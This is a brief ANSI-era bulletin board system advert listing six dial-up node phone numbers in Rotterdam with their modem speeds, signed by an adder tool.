              NODE #1: +31-(0)10-4779507 rINGDOWN 28k8 v.FAST               
              NODE #2: +31-(0)10-4779568  ,,  ,,  28k8 v.FAST               
              NODE #3: +31-(0)10-4779633  ,,  ,,  28k8 v.FAST               
              NODE #4: +31-(0)10-4774218          21k6 dUAL                 
              NODE #5: +31-(0)10-4762711          21k6 dUAL                 
              NODE #6: +31-(0)10-4761459          21k6 dUAL                 
                                                     [A¡RaDDer v3.4 By A¡Rcø]